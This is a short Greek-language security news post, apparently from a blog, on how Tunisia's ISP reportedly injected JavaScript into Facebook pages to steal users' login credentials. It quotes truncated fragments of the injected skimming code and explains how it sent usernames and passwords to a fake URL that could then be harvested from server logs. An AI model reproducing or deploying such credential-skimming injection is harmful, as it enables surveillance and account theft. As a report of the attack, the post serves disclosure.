Πως κατάφερε η κυβέρνηση της Τυνησίας να κλέψει τους κωδικούς του Facebook

Πριν από μικρό χρονικό διάστημα, είχε έρθει στο φως της δημοσιότητας το γεγονός ότι η κυβέρνηση της Τυνησίας παρακολουθούσε και έκλεβε κωδικούς από τους χρήστες του διαδικτύου στη χώρα, αλλά και από δημοσιογράφους.Συγκεκριμένα είχε....
δημοσιοποιηθεί ότι η κυβέρνηση έκλεβε κωδικούς από το Gmail και από το Facebook.
Πως κατάφεραν όμως να παραβιάσουν τους λογαριασμούς και να κλέψουν τους κωδικούς;
Εάν δείτε τη σελίδα του Facebook στην Τυνησία
μέσω του http://pastebin.com/WV0C9t0F θα παρατηρήσετε ορισμένα τμήματα κώδικα. Ας δώσουμε όμως έμφαση στο παρακάτω κομμάτι κώδικα.
!–
function h6h(st){var st2=”";for(i=0;i >4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=”";for(i=0;i
Ο παραπάνω κώδικας έχει εισαχθεί από τον ίδιο τον διαδικτυακό πάροχο και δεν εμφανίζεται σε καμία άλλη χώρα. Αυτός ο JS κώδικας στέλνει ένα ερώτημα στο http://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD, θέλοντας να προσδιορίσει τον κωδικό πρόσβασης και το όνομα χρήστη. Η σελίδα “wo0dh3ad” δεν υπάρχει στους εξυπηρετητές του Facebook, αλλά ο πάροχος (ISP) θα μπορούσε απλά να εκτελέσει “grep wo0dh3ad /var/log/FAI.log” για να αποκτήσει όλους τους κωδικούς από τους εγγεγραμμένους χρήστες.

http://www.secnews.grΕδώ θα πεις δημόσια την γνώμη σου____ Ο σιωπών δοκεί συναινείν[email protected]
Keywords
Τυχαία Θέματα